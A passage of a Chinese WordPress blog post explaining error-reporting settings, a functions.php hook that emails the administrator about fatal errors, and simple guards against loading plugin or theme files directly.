&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> WP_DEBUG <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// E_DEPRECATED is a core PHP constant in PHP 5.3. Don't define this yourself.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// The two statements are equivalent, just one is for 5.3+ and for less than 5.3.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'E_DEPRECATED'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span> <span style="color: #009900; font-weight: bold;">E_ALL</span> <span style="color: #339933;">&amp;</span> ~E_DEPRECATED <span style="color: #339933;">&amp;</span> ~<span style="color: #009900; font-weight: bold;">E_STRICT</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span> <span style="color: #009900; font-weight: bold;">E_ALL</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//配置PHP错误信息显示</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> WP_DEBUG_DISPLAY <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'display_errors'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//错误信息记录</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> WP_DEBUG_LOG <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'log_errors'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'error_log'</span><span style="color: #339933;">,</span> WP_CONTENT_DIR <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/debug.log'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//这是production 环境下WP的默认错误报告级别</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span> <span style="color: #009900; font-weight: bold;">E_CORE_ERROR</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_CORE_WARNING</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_COMPILE_ERROR</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_ERROR</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_WARNING</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_PARSE</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_USER_ERROR</span> <span style="color: #339933;">|</span> <span style="color: #009900; font-weight: bold;">E_USER_WARNING</span> <span style="color: #339933;">|</span> E_RECOVERABLE_ERROR <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>这样看来，如果主题或者插件的因为修改或其它原因造成错误，PHP还是会报告的。<br />
且WP_DEBUG_DISPLAY　在  WP_DEBUG 为 FALSE时为不起作用的，因此我们还有必要在wp-config.php中做一下设置：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'display_errors'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>以下为我的wp-config.php中的部分内容，在此帖出来仅供大家参考：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">@</span><a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'display_errors'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">FALSE</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG_DISPLAY'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG_LOG'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_ADMIN_ALERT_EMAIL'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'此处填写用于接收邮件的email'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>再将以下代码添加到当前主题functions.php中或者新建一php文件并在functions.php中包含之：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">/*********START*************ALERT ERROR by 荒野无灯******************************/</span> <br />
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shutdown'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ihacklog_error_alert'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #000000; font-weight: bold;">function</span> ihacklog_error_alert<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_null"><span style="color: #990000;">is_null</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$e</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/error_get_last"><span style="color: #990000;">error_get_last</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$e</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">//@see http://www.php.net/manual/en/errorfunc.constants.php</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">case</span> <span style="color: #009900; font-weight: bold;">E_ERROR</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">case</span> <span style="color: #009900; font-weight: bold;">E_PARSE</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">case</span> <span style="color: #009900; font-weight: bold;">E_CORE_ERROR</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">case</span> <span style="color: #009900; font-weight: bold;">E_USER_ERROR</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">//case E_RECOVERABLE_ERROR :</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span>WP_DEBUG <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'REQUEST DATE: '</span> <span style="color: #339933;">.</span> <a href="http://www.php.net/gmdate"><span style="color: #990000;">gmdate</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y-m-d H:i:s'</span><span style="color: #339933;">,</span><a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">3600</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>REQUEST URI: &quot;</span> <span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'N/A'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>USER AGENT: &quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'N/A'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>USER IP: &quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'N/A'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>ERROR INFO: <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span> <a href="http://www.php.net/print_r"><span style="color: #990000;">print_r</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$e</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #339933;">@</span><a href="http://www.php.net/mail"><span style="color: #990000;">mail</span></a><span style="color: #009900;">&#40;</span> WP_ADMIN_ALERT_EMAIL<span style="color: #339933;">,</span> <span style="color: #0000ff;">'Error from WP: [type]=&gt;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$e</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">//header('Content-type: text/html;charset=UTF-8');</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Oops! An error has occurred...&lt;br /&gt;the message has been sent to the site administrator.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.1//EN&quot; &quot;http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;head&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;title&gt;Oops! An error has occurred...&lt;/title&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;style type=&quot;text/css&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.error-div{margin:50px auto;font-size:20px;font-family:Georgia;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.info{ color:#f00;font-weight:bold;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;/style&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;/head&gt;&lt;body&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">//print_r($e); &nbsp;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;div class=&quot;error-div&quot;&gt;Error: &lt;span class=&quot;info&quot;&gt;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$e</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'message'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/span&gt; on file: &lt;span class=&quot;info&quot;&gt;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$e</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/span&gt; line: &lt;span class=&quot;info&quot;&gt;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$e</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'line'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/span&gt;.&lt;/div&gt;'</span> <span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/body&gt;&lt;/html&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #666666; font-style: italic;">/*********END****************ALERT ERROR by 荒野无灯******************************/</span></div></td></tr></tbody></table></div>
<p>在非调试情况下，如有重要错误会发邮件到指定邮箱并显示：</p>
<blockquote><p>Oops! An error has occurred&#8230;<br />
the message has been sent to the site administrator.</p></blockquote>
<p>在调试开启的情况下，显示详细的错误信息：<br />
<a href="http://static.ihacklog.com/wp-files/2011/09/show-error-info.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/show-error-info-550x58.png" alt="" title="show-error-info" width="550" height="58" class="alignnone size-medium wp-image-4810" /> </a></p>
<p><strong>插件和主题作者要注意</strong>：<br />
从代码级别上，可以采取以下预防措施：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">// Do not delete these lines </span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_FILENAME'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">'文件自身的名字'</span> <span style="color: #339933;">==</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_FILENAME'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Please do not load this page directly. Thanks!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>或者一种更省事的做法：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'ABSPATH'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'HTTP/1.1 403 Forbidden'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">403</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Please do not load this page directly. Thanks!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4805";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
